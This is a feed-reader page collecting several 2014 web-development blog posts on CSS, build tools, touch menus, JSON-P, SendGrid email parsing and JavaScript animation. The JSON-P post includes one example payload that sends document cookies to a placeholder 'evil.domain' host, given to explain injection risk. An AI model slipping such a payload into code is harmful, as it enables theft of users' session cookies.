• Shortcuts : 'n' next unread feed - 'p' previous unread feed • Styles : 1 2

» Publishers, Monetize your RSS feeds with FeedShow:  More infos  (Show/Hide Ads)


Date: Tuesday, 30 Sep 2014 02:24

Whether you call yourself a “full stack engineer” or not, most of us fashion ourselves able to dabble on each side of a website infrastructure.  Of course the same people who fancy themselves as capable would probably also tell you they’re much stronger on client or server sides.  I feel way more comfortable on the client side and I admire the hell out of server side legends I work with at Mozilla.  That’s why I found this comic incredibly on point:

CSS Comic

I find it hilarious when a server side deity rages about CSS and proceeds to ask me a simple CSS-related question.  Not hilarious like “you’re an idiot” hilarious, but more so a “whoa, you’re are human” hilarious.  CSS is almost the least dynamic of all languages and it throws people for a loop.  And why shouldn’t it?  Browser differences, device differences, API interpretations — we’re all shooting at a moving target.  The difference?  Server side devs hate it and client side devs embrace it.  CSS…can’t live with it, can’t live without it.

Original image appeared on CommitStrip.

Read the full article at: The Truth About CSS

Treehouse
Wufoo

Author: "David Walsh" Tags: "Comics, CSS"
Comments Send by mail Print  Save  Delicious 
Date: Sunday, 28 Sep 2014 15:58
Treehouse Free

There are quite a few tech video tutorial websites on the internet but Treehouse is the web’s best.  Of course it’s easy to make that claim but here are some of the numerous reasons why that can only be true.

Trying Treehouse is FREE

Treehouse’s sponsorship of this site provides developers a free two week membership of Treehouse.  A free fortnight with access to all that Treehouse has to offer:  video tutorials, quizzes, code challenges, and more.  There’s no real reason not to try Treehouse — give it a shot!

Expansive Topic Library

Treehouse doesn’t specialize in one or two topics;  Treehouse offers courses in HTML, CSS, jQuery, JavaScript, Ruby, Ruby on Rails, WordPress, PHP, Business, iOS, and Android.  These topics cover servers side, client side, and mobile.  In essence, Treehouse provides a complete development stack experience so the barrier of entry is as low as possible.  You don’t even need to be a Developer to sign up — start from scratch and become a Developer!

Quality Picture

The quality of Treehouse videos is outstanding.  No pixelated capture and no wonky feeds — Treehouse videos are shot in glorious HD.  Even code samples presented within videos are crystal clear.  Essentially there is no detail missed regardless of current video focus.  Consistency in quality is what Treehouse provides.

Relatable, Expert Instructors

Treehouse’s instructors and presenters aren’t simply actors or relics from programming past — they’re knowledgable, engaging hosts that present with the enthusiasm that every developer has.  That simple difference in host keeps you learning.  Even when I’m focused on developing, I’ll play a Treehouse video in the background to catch a few tips on whichever language I choose.

Interactive Quizzes and Code Challenges

It’s easy to read a tutorial or watch an instructional video and say “Yeah, I got it.”  But until you get put into the position to need to know it, you can’t say you know it.  Treehouse provides loads of interactive quizzes and code challenges to help you remember aspects of a given language, or simply jog your memory about important concepts.  That reinforcement will come in handy even when you already have a job and good knowledge of a topic.

Job Search Assistance

Many sites provide the basic tech training but don’t tell you where to go afterward.  Treehouse bucks that trend, providing job placement assistance after you’ve completed a given program.  You aren’t simply left looking in the rearview to see Treehouse waving — Treehouse helps you get to your desired destination.  What a comfort it is to not be seen off, but rather helped to your dream job.

There’s no tech video tutorial service quite like Treehouse.  Treehouse truly takes you from your first day learning a new technology to helping you land that dream job you’ve been working so hard for.  Give Treehouse a try — it’s free to start, cheaper and more convenient than college, and its expansive library will teach you just about everything you need to know.  You really can’t lose with Treehouse — go for it!

Treehouse is a sponsor of this blog. I’ve written this post on my own volition and without the request of Treehouse.

Read the full article at: 6 Reasons to Go Treehouse

Treehouse
Wufoo

Author: "David Walsh" Tags: "Blog"
Comments Send by mail Print  Save  Delicious 
Date: Thursday, 25 Sep 2014 14:52

Some time ago I posted an article how you can build apps faster using a build tool called Angus. In the meantime the tool has gotten a whole lot better, embracing the concept of declarative build configurations. In this article I would like to show you what that means and how Angus can help you build web apps in a much faster way.

In The Restaurant

Gordon Ramsay

Imagine for a second you’re sitting in a restaurant. You take a look at the menu. You decide that you would like a Pizza Vegeta today, because you’re feeling healthy. Hmm!

Next, you stand up from your table. You walk to the kitchen. You start to delegate.

“You there! Take some dough and make it flat and round.”

“And you! Chop some onions, tomatoes and bell peppers.”

“Now you, grab the tomato sauce and cheese and put them on the dough.”

“Put all those vegetables on the pizza and then put it in the oven for ten minutes!”

After ten minutes, you come back. You put the pizza on your plate, walk to your table and start eating.

GulpJS: A Case Study

Let’s wake up, and take a look at a common build tool configuration from GulpJS.

gulp.task('clean', function(cb) {
  del(['build'], cb);
});

gulp.task('scripts', ['clean'], function() {
  return gulp.src(paths.scripts)
    .pipe(sourcemaps.init())
      .pipe(coffee())
      .pipe(uglify())
      .pipe(concat('all.min.js'))
    .pipe(sourcemaps.write())
    .pipe(gulp.dest('build/js'));
});

gulp.task('images', ['clean'], function() {
  return gulp.src(paths.images)
    .pipe(imagemin({optimizationLevel: 5}))
    .pipe(gulp.dest('build/img'));
});

gulp.task('watch', function() {
  gulp.watch(paths.scripts, ['scripts']);
  gulp.watch(paths.images, ['images']);
});

gulp.task('default', ['watch', 'scripts', 'images']);

If you compare this configuration with the absurd restaurant scene, it’s essentially not that different. You’re telling Gulp what to do, how to do it and when and where to get your compiled files.

Can we do better than that? What if there was a way to tell Gulp, “Hey, today I’d like a Pizza Vegeta.”?

What if there was a tool, where you could say “Today I’d like to have an app that uses AngularJS, some bootstrap, karma as test runner, and hmmmm… I’ll have Sass as my CSS compiler this time.”

Angus, A Declarative Build Tool

angus

Having built a ton of apps, I’ve always found myself having to declare the same tasks over and over again, although they essentially stayed the same across my apps. Out of frustration with the state of things, I decided to create a tool called Angus that makes build configurations declarative.

Take a look at a common Angus configuration.

{
    bower: {
        packages: [
            'angular',
            'threejs',
            'Keypress',
            'underscore@1.7.0',
            'angular-ui-router',
            'hammerjs'
        ],
        filesNeeded: {
            js: [
                'angular/angular.js',
                'angular-ui-router/release/angular-ui-router.js',
                'Keypress/keypress.js',
                'hammerjs/hammer.min.js',
                'threejs/build/three.js',
                'underscore/underscore.js'
            ]
        }
    },
    usesAngularJS: true,
    testRunner: 'karma',
    cssCompiler: 'less'
};

In essence, I’m telling Angus which bower packages my app needs and which files to actually use from those bower packages. Next I’m declaring it uses AngularJS, Karma as its test runner and Less as its CSS compiler.

That’s it. There are no other hidden configuration files. I just run angus dev from the command line and my app launches in the browser, ready to go.

Angus takes care of everything. It installs your bower packages, minifies your files, compiles your CSS, watches for changes and launches your app in a browser. But there’s a lot more features.

Convention Over Configuration

Angus applies the concept of convention over configuration so that it doesn’t burden the user with making unnecessary choices such as where to store the distributed files. For one, it requires you to layout your source files in a way that’s common for web apps.

hello-world/
    bower_components/
    src/
        assets/
        style/
        core/
        index.html
    angus.config.js

This makes things a lot simpler. By having your source files structured in the same way for every app, Angus can automatically build your app without you having to specify where your source and library files are.

Next, all underlying tasks use this folder structure to build your app. All common tasks are pre-configured, Angus just tells them whether to execute or not based on your config file. Again, it’s declarative.

In addition, it’s a lot easier to maintain. For example, if you wanted to switch to another CSS compiler, it’s simply a matter of enabling it in your config file.

Quick Start

Getting started with Angus is easy. Just install it with npm install -g angus.

Next, create a sample app by doing angus create hello-world. This will create a folder hello-world.

Inside this folder, run angus dev and open your browser to visit http://localhost:9000/.

That’s it! For further information, please refer to the detailed readme on GitHub.

Conclusion

I hope that this article has given you new insights in how declarative build configurations can help you focus your efforts on your app and not your build process. Angus has gotten a lot of good feedback so far, and I invite you to try it out and make an opinion for yourself. If you have any questions I will be happy to answer them in the comments section below.

Read the full article at: Declarative Build Configurations

Treehouse
Wufoo

Author: "Nick Janssen" Tags: "Guest Blogger, JavaScript"
Comments Send by mail Print  Save  Delicious 
Date: Wednesday, 24 Sep 2014 16:25

One component I’m quite proud of creating is the Mozilla Developer Network’s dropdown menu component.  It’s elegant, flexible, accessible via keyboard, and relatively compact (though it does require jQuery).  One problem I did notice, however, was that tapping once opened the menu (good) but you’d have to double tap (tap twice) on a submenu link to trigger a move to the link URL.  Not a catastrophic issue but certainly annoying. After a bit of tinkering I came up with a solution which satisfied the annoyance!

The JavaScript

I found out the core issue:  the main menu item was coded to open the submenu upon mouseenter.  While I was grateful that iOS mobile Safari was using mouseenter as simply an open trigger, it was causing users the double tap pain to visit a link in the submenu.  So I took advantage of the touchstart event:

$item.on('touchstart mouseenter focus', function(e) {
    if(e.type == 'touchstart') {
        // Don't trigger mouseenter even if they hold
        e.stopImmediatePropagation();
        // If $item is a link (<a>), don't go to said link on mobile, show menu instead
        e.preventDefault();
    }

    // Show the submenu here
});

Why not touchend?  Unfortunately if the user held their finger down for more than a quick tap, the mouseenter event would trigger.  A bit odd but since I have touchstart as the first event in the listener, I can use stopImmediatePropagation to prevent the mouseenter from ever firing.  What’s also nice is I don’t have to do any device detection to juggle touchstart and mouseenter, so this is an awesome solution…

…but not a perfect solution.  If you tap and hold the main menu item link, the mobile browser context menu doesn’t appear because we’ve used preventDefault.  I’m still exploring and experimenting so I’ll continue to update this post as I search for the holy grail!

Read the full article at: iOS Mobile Safari Hover Menu Fix

Treehouse
Wufoo

Author: "David Walsh" Tags: "Mobile"
Comments Send by mail Print  Save  Delicious 
Date: Tuesday, 23 Sep 2014 17:11

There are loads of basic, native JavaScript methods that many developers don’t know about.  Many people don’t know about the Element.classList API, for example, so className management becomes another case for needing a JavaScript toolkit for even the most basic tasks.  Another case is checking for node parenting — developers believe it requires a toolkit or a loop checking parentNode up the chain;  no so!  Nodes provide a contains method to check if one node if a parent of another:

function(parentNode, childNode) {
	if('contains' in parentNode) {
		return parentNode.contains(childNode);
	}
	else {
		return parentNode.compareDocumentPosition(childNode) % 8;
	}
}

You’ll note we check for the contains method before using it, as you would probably expect, and use the rarely-known compareDocumentPosition in the case that contains isn’t supported (Firefox < 9).  This method would be helpful when creating a drag & drop widget and determining moves between lists.  Anyways, before you jump to the conclusion that you need a toolkit for something that seems basic, do some quick research and hopefully you find an easier way!

Read the full article at: Node.contains: Check if a Node is a Child of Another Node

Treehouse
Wufoo

Author: "David Walsh" Tags: "JavaScript, Quick Tips"
Comments Send by mail Print  Save  Delicious 
Date: Monday, 22 Sep 2014 14:55

This is a quickie simple post on JavaScript techniques. We’re going to look at how to unwrap the “P” function-call padding from a JSON-P string to get the JSON from it.

Note: Obviously, the recent push toward ubiquity of CORS is making JSON-P less important these days. But there’s still a ton of JSON-P serving APIs out there, and it remains an important part of making cross-domain Ajax requests.

The scenario: you receive (via whatever means: Ajax, whatever) a string of JSON-P (like foo({"id":42})) data, say from some API call, and you want to extract the JSON data to use in your application.

Classic JSON-P Handling

The most common approach is to just directly load the JSON-P data into an external <script> element (assuming it’s possible to get that data directly via a URL):

var s = document.createElement( "script" );
s.src = "http://some.api.url/?callback=foo&data=whatever";
document.head.appendChild( s );

Assuming foo({"id":42}) comes back from such a URL call, and there’s a global foo(..) function to be called, it will of course receive the {"id":42} JSON data packet.

There are hundreds of different JS libs/frameworks out there which automate such JSON-P handling. I wrote jXHR years ago as a simple PoC that we could even construct an XHR-like interface for making such JSON-P calls, which looked like:

var x = new jXHR();

x.onreadystatechange = function(data) {
    if (x.readyState == 4) {
        console.log( data.id ); // 42
    }
};

x.open( "GET", "http://some.api.url/?callback=?&data=whatever" );

x.send();

JSON-P roblems

There are some issues with the classic approach to JSON-P handling.

The first most glaring issue is that you must have a global foo(..) function declared. Some people (and some JSON-P APIs) allow something like bar.foo(..) as the callback, but that’s not always allowed, and even then bar is a global variable (namespace). As JS and the web move toward ES6 features like modules, and heavily de-emphasize global variables/functions, the idea of having to dangle a global variable/function out to catch incoming JSON-P data calls becomes very unattractive.

FWIW, jXHR automatically generates unique function names (like jXHR.cb123(..)) for the purpose of passing along to the JSON-P API calls, so that your code didn’t need to handle that detail. Since there’s already a jXHR namespace, it’s a tiny bit more acceptable that jXHR buries its functions on that namespace.

But, it would be nice if there was a cleaner way (sans library) to handle JSON-P without such global variables/functions. More on that in a moment.

Another issue is if you’re going to be making lots of JSON-P API calls, you’re going to be constantly creating and DOM-appending new <script> elements, which is quickly going to clutter up the DOM.

Of course, most JSON-P utilities (including jXHR) “clean up” after themselves by removing the <script> element from the DOM as soon as it has run. But that’s not exactly a pure answer to the issue, because that’s going to be creating and throwing away lots of DOM elements, and DOM operations are always slowest and have plenty of memory overhead.

Lastly, there have long been concerns over the safety/trustability of JSON-P. Since JSON-P is basically just random JS, any malicious JS code could be injected.

For example, if a JSON-P API call returned:

foo({"id":42});(new Image()).src="http://evil.domain/?hijacking="+document.cookies;

As you can see, that extra JS payload isn’t something we generally should want to allow.

The json-p.org effort was intended to define a safer JSON-P subset, as well as tools that allowed you to verify (to the extent possible) that your JSON-P packet is “safe” to execute.

But you can’t run any such verifications on this returned value if you are having it load directly into a <script> element.

So, let’s look at some alternatives.

Script Injection

First, if you have the JSON-P content loaded as a string value (like through an Ajax call, such as from a same-domain server-side Ajax proxy, etc), you can process the value before evaluating it:

var jsonp = "..";

// first, do some parsing, regex filtering, or other sorts of
// whitelist checks against the `jsonp` value to see if it's
// "safe"

// now, run it:
var s = document.createElement( "script" );
s.text = jsonp;
document.head.appendChild( s );

Here, we’re using “script injection” to run the JSON-P code (after having a chance to check it in whatever way we want) by setting it as the text of an injected <script> element (as opposed to setting the API URL to the src as above).

Of course, this still has the downsides of needing global variables/functions to handle the JSON-P function call, and it still churns through extra <script> elements with the overhead that brings.

Another problem is that <script>-based evaluation has no graceful error handling, because you have no opportunity to use try..catch around it, for instance (unless of course you modify the JSON-P value itself!).

Another downside to relying on <script> elements is that this works only in browsers. If you have code that needs to run outside a browser, like in node.js (like if your node code is consuming some other JSON-P API), you won’t be able to use <script> to handle it.

So what’s our other option(s)?

Direct Evaluation

You may wonder: why we can’t just do eval(jsonp) to evaluate the JSON-P code? Of course, we can, but there are plenty of downsides.

The main cited concerns against eval(..) are usually execution of untrusted code, but those concerns are moot here since we’re already addressing that JSON-P could be malicious and we’re already considering the opportunity to inspect/filter the value in some way, if possible.

The real reason you don’t want to use eval(..) is a JS one. For various reasons, the mere presence of eval(..) in your code disables various lexical scope optimizations that would normally speed up your code. So, in other words, eval(..) makes your code slower. You should never, ever use eval(..). Period.

But there’s another option without such downsides. We can use the Function(..) constructor. Not only does it allow direct evaluation without <script> (so it’ll work in node.js), but it also simulataneously solves that whole global variable/function annoyance!

Here’s how to do it:

var jsonp = "..";

// parse/filter `jsonp`'s value if necessary

// wrap the JSON-P in a dynamically-defined function
var f = new Function( "foo", jsonp );

// `f` is now basically:
// function f(foo) {
//    foo({"id":42});
// }

// now, provide a non-global `foo()` to extract the JSON
f( function(json){
    console.log( json.id ); // 42
} )

So, new Function( "foo", "foo({\"id\":42})" ) constructs function(foo){ foo({"id":42}) }, which we call f.

Do you see what’s happening there? The JSON-P calls foo(..), but foo(..) doesn’t even need to exist globally anymore. We inject a local (non-global) function of the parameter name foo by calling f( function(json){ .. } ), and when the JSON-P runs, it’s none the wiser!

So:

  1. We have manual evaluation of the JSON-P, which gives us the chance to check the value first before handling.
  2. We no longer need global variables/functions to handle the JSON-P function call.
  3. Function(..) construction doesn’t have the same performance slow-downs of eval(..) (because it can’t create scope side-effects!).
  4. This approach works in either browser or node.js because it doesn’t rely on <script>.
  5. We have better error-handling capability, because we can wrap try..catch around the f(..) call, whereas you can’t do the same with <script>-based evaluation.

That’s a pretty big set of wins over <script>!

Summary

Is Function(..) evaluation perfect? Of course not. But it’s a lot better and more capable than the classic, common JSON-P approaches out there.

So, if you’re still using JSON-P API calls, and chances are a lot of you are, you might want to rethink how you’re consuming them. In many cases, the old <script> approach falls well short of the true potential.

Read the full article at: Unwrapping JSON-P

Treehouse
Wufoo

Author: "Kyle Simpson" Tags: "Guest Blogger, JavaScript, jQuery"
Comments Send by mail Print  Save  Delicious 
Date: Thursday, 18 Sep 2014 12:45

The SendGrid Parse Webhook is a powerful tool with many use cases. Once setup, all incoming email for a domain or sub-domain is directed to your application. What you can do is endless, but it can be a bit tricky to grok if it is your first time.

Giving your customers a way to access your application from their email account is a major way to boost their activity and engagement on your website.

One of my favorite popular productivity tools, iDoneThis, gives me a simple way to record and share the tasks that I have completed each day with my teammates.  Each day, iDoneThis sends me an email asking me what I completed today. From my email account, I can easily reply with my completed tasks without having to log into the website. Interestingly, a majority of my teammates complete most of their website updates through email replying.

You can also create the same powerful functionality with commenting, receiving content via email, and enabling replies to create, continue, and resolve support tickets. With the Inbound Parse Webhook, from SendGrid’s SMTP Service, you can make your applications interactive by inviting replies and responding to users via their email.

The SendGrid Parse Webhook lets you parse email contents and attachments from any incoming emails and post the data via JSON to your application. The capability allows you to accomplish the following, from email replies to your website application:

  • Post blog entries
  • Use email replies to update your mailing list or database
  • Upload photos and videos
  • Start and resolve support ticket requests

Getting Started

The instructions below are for getting the Inbound Parse Webhook up and running locally.

1. Start by cloning this Github repository and cd into its directory.

$ git clone https://github.com/scottmotte/sendgrid-parse-api-example.git
$ cd sendgrid-parse-api-example

2. Set up your credentials.

$ mv .env.example .env 

3. Change the contents of .env to your SendGrid username and password.

SENDGRID_USERNAME = your_sendgrid_username
SENDGRID_PASSWORD = your_sendgrid_password

4. Run the app.

$ npm install
$ node app.js 

If npm install doesn’t work for you, you can try installing through MacPorts:

$ sudo port npm install

If you are receiving errors that indicate a missing module, this means that you should install it.  For example, installing dotenv resolves the installation issue of app.js not being able to instantiate the dotenv variable.

$ npm install dotenv

5. Use a local tunnel like ngrok to test locally and quickly – rather than deploying code to a live server.

Ngrok allows you to securely expose a local web server to the web and capture traffic for detailed inspection and replay.

Download, unzip, and start the ngrok process. After you start the process, ngrok will give you a unique URL for you to inspect locally on.

The instructions below are for getting ngrok to work locally on a Mac. Click here to install a local setup for other operating systems.

$ wget https://dl.ngrok.com/darwin_amd64/ngrok.zip
$ unzip ngrok.zip –d /usr/local/bin
$ ngrok 3000

6. Set up SendGrid and MX Records. It can take up to 48 hours.

Here is how you can get up and running as soon as possible. Once your MX records have fully propagated, you can send emails on production in up to 48 hours.

First, you can set up your SendGrid Parsing Incoming Emails setting (you must have a provisioned SendGrid account to access this link). Click on the “Developers” tab for the “Parsing Incoming Emails” link. In the Hostname field, specify your hostname (i.e. yourdomain.com) that you would like. In the Url field, input the unique URL that ngrok provided you.

Please configure an MX record on the hostname you set above to point to mx.sendgrid.net. It should look something like the following.

Within 2 days, your MX records will completely propagate.

7.  Send an email from your personal email account.

If you send an email to inbound@the-hostname-you-setup.com, in a few minutes, the app you have running will parse and deliver the contents to you in JSON format.

8. Test and play with the API.

Congratulations, you have set up a simple way to parse your emails efficiently!

Now, you are ready to explore and make calls to the API.

Inspecting the payload contents:

If you just need a quick way to inspect the payload contents of the Parse Webhook, you can use RequestBin, a free tool, after setting up your MX records.

Posting from the command line:

If you’d like to get your hands dirty from the command line, you can try SendGrid’s free webhook debugger tool, which is a fast way to start seeing how events appear.

At the heart of the tool is a URL that you can set as your Parse Webhook endpoint. Each time you load the URL, you will get a unique ID within the URL.

Below are two examples to get started with your webhook. The GET example will begin listening for new data.

From your command-line terminal, paste in the following GET example:

$ curl –X GET \ http://hookdebug.sendgrid.com/v1/events/e6a20fffc9c1968dd64684f0b11b9c29 

To paste in whether your Parse Webhook is receiving data, type in the curl command from the POST example into a second terminal screen:

$ curl –X POST \
  -d "foo=bar" \
  -d "alice=bob" \
  http://hookdebug.sendgrid.com/v1/events/e6a20fffc9c1968dd64684f0b11b9c29

The response on your terminal window should now have new content:

{
	"event_id": "e6a20fffc9c1968dd64684f0b11b9c29"
}

Next, send an email to the domain or sub-domain that you are using for inbound parsing. Within a few minutes, you should see the parsed email as JSON in your terminal window.

9. Customize your parser.

As you can see, the details of email data separation and routing an incoming message to the SendGrid script are done behind the scenes for you. Starting with a blank slate, you can use the Parse Webhook creatively, however you wish.

Now you’re ready to place some real email data through that webhook! The instructions below are for getting the Inbound Parse Webhook up and running locally on a Mac. Click here to install a local setup for other operating systems.

To customize how you’d like to parse your emails, you can start to customize the code in routes/inbound.js

For example, you can rewrite the inbound.js file to complete an action if the email contents contain a word, or even store attachments in a way that would suit your application and database.

For use cases, case studies and examples, please click here to download the Parse Webhook Guide or check out the Parse Webhook API library. When looking at the Parse Webhook examples, you will notice that the two most common ways it is used are: interacting with your users and collecting data within your applications via email.  With the webhook, you can develop features that make frequent tasks more productive for your users without having them leave their email inbox.  Collecting insights and making your emails interactive have never been easier.

Read the full article at: How to Make Email a Powerful Part of Your Web Application

Treehouse
Wufoo

Author: "Geoffrey Craig" Tags: "Apache / Server, Guest Blogger"
Comments Send by mail Print  Save  Delicious 
Date: Wednesday, 17 Sep 2014 13:09

Back in late 2012 it was not easy to find open source projects using requestAnimationFrame() – this is the hook that allows Javascript code to synchronize with a web browser’s native paint loop. Animations using this method can run at 60 fps and deliver fantastic game-like content interactions if one is careful to follow the rules.*

Around this time, I had joined Art.com labs and it just so happened that I had a compelling use case for an “iOS-style” interaction model around visual content-stream navigation – one which was responsive across multiple screen sizes and input paradigms (touch, pointer, trackpad). Out of this need came TremulaJS, a Javascript UI component designed to navigate large result sets of visual content with a high degree of UX fluidity.

This article takes a high-level look at how TremulaJS is organized with a focus on creating responsive, long-running animated interactions using Javascript.

*For those interested in an in-depth look at the fundamentals of a requestAnimationFrame() implementation, Julian Shapiro, creator of velocity.js, has succinctly body-slammed this this topic for your reading pleasure here. I view it as required reading for anyone embarking on a JS animation adventure.

TremulaJS: a component overview

TremulaJS is composed of five main components – The Scroll Axis, Momentum Loop, Content Grid, Content Box and Grid Projection.

fig1. The Scroll Axis, Scroll Offset and Content Grid as they relate to the TremulaJS view container. This figure shows a grid of discrete content elements which are able to slide (on an axis) across the viewable area. Content outside this area is not rendered.

Scroll Axis

TremulaJS enables all kinds of micro-interactions, however, at the end of the day there is only one dimension of navigation and that is the Scroll Offset value. This value is encapsulated by the Scroll Axis object which among other things, manages horizontal and vertical orientation.

Momentum Loop

The momentum loop regulates the momentum value throughout the system. It is the sum of various sub-component outputs including: an internal momentum clock, various conditional dampening functions linked to Scroll Axis states and a user interaction event handler. On each animation frame it returns an instantaneous output value of momentum used to calculate the the scroll offset position.

Content Grid

The Content Grid is an abstraction model of content boxes arranged on a configurable XY grid. All content added to this grid is proportionally scaled along the Cross Axis to maintain normalized row (or column) dimensions.

On every frame, as momentum moves the Content Grid to a new position along the scroll axis, the Content Grid updates it’s child Content Boxes with new relative positions. This is the abstraction that gives us opportunities to extend the painting process and make cool stuff happen…

Content Box

A Content Box is created for each unit of content appended to the Content Grid. A Content Box has width, height, an optional HTML template, and an optional main image which (if provided) is preloaded and transitioned on-screen by a CSS class. This should not be an unfamiliar paradigm to a web developer.

The interesting bit starts here: Each content block also maintains various primitive waveform values corresponding to it’s own on-screen scroll progress. These waveforms can be mapped to animate any aspect of an Content Box DOM element in time and space. Let’s zoom in on that with a diagram…

fig2. Linear progression of a content block across the screen with a “ramp” waveform shown underneath.

In the figure above, we can follow a Content Block as it’s moved across a screen and imagine that the output of our ramp waveform is mapped to a function which updates a CSS translateX() property.

This however is not the default behavior – it’s a little more complex than that. Here is a simplified example of the default function called on a Content Box during a render cycle…

function updateContentBoxElementProperites(x,y) {
	var ramp = this.waveforms.headRamp,
		xo=x,
		yo=y,
		zo=0;
		
	this.e.style.transform = 'translate3d(' + xo + 'px,' + yo +'px, ' + zo + 'px)';
	//this.e.style.opacity = ramp;
	this.pPos = [x,y];//cache the current position in the Content Box model
}

This function is called when it’s time to reposition our Content Box and we can see here that it is passed new coordinates. x & y are absolute values corresponding to the geometry of our TremulaJS view, these values are provided to the function by the Content Grid, which has knowledge of all Content Blocks and is able to efficiently crunch all the positions of all Content Boxes on the grid. The above function is then called on every Content Box on every animation frame.

Notice the commented opacity assignment. If we were to uncomment this we would see our content block fade-in as it moved from left to right (or fade-out as it moved from right to left.) This works because our ramp value is a derivative value (between 0 and 1) tied to a Content Box’s scroll progress across our TremulaJS view. Conveniently, this.e.style.opacity is expecting a number between 0 and 1.

News Flash: turns out Bézier paths are super responsive

A look at the Grid Projection

There is a fifth component belonging to TremulaJS which enables us to take elements of a content grid and project that along a Bėzier path. Unsurprisingly, this is called a grid projection.

So to recap: As shown in the previous example, we are looking at a Content Box function that is executed on on every frame. This function is passed instantaneous x&y values corresponding to the Content Box’s own orientation in the TremulaJS view at a particular point in time. This function is also passed several primitive waveform values corresponding to it’s own on-screen scroll progress. It is at this point where we are able to remap an arbitrary Bezier path to virtually any CSS property. Let’s take another look at the example above, except we will change the vertical position of our Content Box by replacing the absolute x&y position with one generated from our Bézier function.

fig3. Linear progression of a content block across a view with a bézier waveform shown underneath. The Bézier output is now mapped to the x&y position of our content box within the TremulaJS view.

var bezierArcPath = [
	{x:0,y:0},
	{x:0,y:1},
	{x:1,y:1},
	{x:1,y:0}
];

function updateContentBoxElementProperites(x,y,env) {

	var path = bezierArcPath;

	var 
		areaX = env.viewDims[0],
		areaY = env.viewDims[1],
		ramp = this.waveforms.tailRamp,
		xo=x,
		yo=y,
		zo=0;

	var xyFactor = [
		areaX,
		areaY
	];

	var scaledPath = env.factorPathBy(path,xyFactor);
	
	var p = jsBezier.pointOnCurve(cubicBezier, ramp);
	var g = jsBezier.gradientAtPoint(cubicBezier, ramp);
	
	xo = p.x - (this.dims[0]*.5);
	yo = areaY - p.y - (this.dims[1]*.5);
	zo = 0;

	this.e.style.transform = 'translate3d(' + xo + 'px,' + yo +'px, ' + zo + 'px)';

	this.pPos = [x,y];
}

Please note: variable names in these examples have been changed/cleaned-up to enhance high-level understanding – actual code is not this pretty. Fork and improve!

In this example we have added a few methods to help implement our Bėzier transforms. First, let’s look at env.factorPathBy(path,xyFactor). The responsive power of this utility function is great – it allows us to define any bounding box area (in this case, the current dimensions of the TremulaJS view), and scale our path in two dimensions such that the path will fit the box. What is returned is prescaled, ready-to-use path coordinates.

Next in our chain is jsBezier.pointOnCurve(cubicBezier, ramp). Which takes our scaled path and our current ramp output as parameters. Our transformed x&y values are returned. Many thanks here go to Simon Porritt for porting classical Bėzier math to JS and posting the jsBezier library to gitHub!

The rest should look familiar enough. We then make some small adjustments to x&y so that our content is positioned from its center origin.

But wait, theres more! (Just not in this article…)

Beyond this example, there are so many animations that can be created from these basic building blocks. For example, jsBezier.gradientAtPoint(cubicBezier, ramp) gives us instantaneous tangent values as content moves along our path, enabling coordinated content rotation among other possibilities. There is also the z axis and a primitive triangle waveform which enables depth effects (making content appear closer as it moves into the center of our view.

Curves can just as easily be used to produce easing effects or to keep our content on a single responsively positioned axis.

Another TremulaJS feature is Content Box momentum. When enabled, the content grid does not immediately update a Content Box’s DOM as the Scroll Offset changes. Instead, the Content Box manages its own momentum value relative to its relationship of the motive force location (e.g. your finger or mouse pointer over the grid) – this can produce interesting content level momentum effects.

For those who are interested, there is a great path editing tool here…

https://www.desmos.com/calculator/d1ofwre0fr

Read the full article at: Responsive and Infinitely Scalable JS Animations

Treehouse
Wufoo

Author: "Garris Shipon" Tags: "Canvas & SVG, CSS, Features, Guest Blogg..."
Comments Send by mail Print  Save  Delicious 
Date: Tuesday, 16 Sep 2014 13:02

Remember the Web 1.0 days where you had to customize your site in every way possible?  You abused the scrollbars in Internet Explorer, of course, but the most popular external service I can remember was CometCursor.  CometCursor let you create and use loads of custom cursors for your site.  Now we probably laugh at that in hindsight but there may be times when you’d like to customize a cursor, and CSS lets you do it quite easily!

The CSS

The cursor CSS property accepts a series of cursors, and using a url() value allows you to set a custom CSS cursor:

body {
	cursor: url('some-cursor.ico'), default;
}

It’s always best to have a backup native cursor like default, much as you set broader font-family‘s when styling text.  Also note that Firefox scales the cursor down to a smaller size whereas Chrome currently allows a larger original size.

Now don’t go doing this willy nilly, use a custom cursor in places where you think important, like a magnifying glass + or – over zoomable images and such.

Read the full article at: CSS Custom Cursors

Treehouse
Wufoo

Author: "David Walsh" Tags: "CSS, Demos"
Comments Send by mail Print  Save  Delicious 
Date: Monday, 15 Sep 2014 01:56

This is a quickie simple post on JavaScript techniques. We’re going to cover how to use the regular expression driven replace(..) with JavaScript string values.

All string values have a replace(..) method available to them. This method allows you to pass a regular expression (or a string that will be interpreted as the pattern for a dynamically-created regular expression!) to represent what should be found in the main string value for replacing.

Single vs Global

Consider:

var a = "The quick brown fox jumped over the lazy dog.";

var pattern = /the/i;

a.replace( pattern, "THE" );
// THE quick brown fox jumped over the lazy dog.

You can see only the first “The” was replaced. Many developers just leave that fact as is, and never ask, “Why?”.

Well, it’s because you didn’t use a global regular expression (that is, with the g flag), so clearly JS only applies the expression in a single context. See:

var a = "The quick brown fox jumped over the lazy dog.";

var pattern = /the/ig; // notice "g" here now!

a.replace( pattern, "THE" );
// THE quick brown fox jumped over THE lazy dog.

The replacer string ("THE" in our example) can include certain special commands, such as “$1″ for dropping in the value of the first ( ) group match (there is none in our example!).

function As Replacer

What if you wanted to do a more sophisticated replacement, like for instance capitalizing any of a set of words found, using a pattern like this?

var pattern = /quick|brown|lazy/ig;

Obviously, hard-coding the "THE" replacer string won’t work now!

But it’s a little known fact that the replacer can be a function instead. For example:

var a = "The quick brown fox jumped over the lazy dog.";

var pattern = /quick|brown|lazy/ig;

a.replace( pattern, function replacer(match){
    return match.toUpperCase();
} );
// The QUICK BROWN fox jumped over the LAZY dog.

The function replacer gets several arguments. The first is always the matched string, which is often all you want/need. If the pattern has any ( ) group match(es), those will be passed as the next argument(s). The next argument will be the numeric indexed position of the match in the bigger string.

The final argument is the full original string being replaced against, not the current in-progress string value that’s being processed.

Another place where the function replacer comes in handy is if the string you’re replacing with already has some of the special replacer string command sequences, like “$1″ instance, because the returned value from the function is not interpolated like the regular string replacer is:

var prices = {
    "pr_1": "$1.99",
    "pr_2": "$9.99",
    "pr_3": "$5.00"
};

var template = ".."; // some ecommerce page template

template.replace(
    /(<span id=")(.*?)(">)(<\/span>)/g,
    function(match,$1,$2,$3,$4){
        return $1 + $2 + $3 + prices[$2] + $4;
    }
);

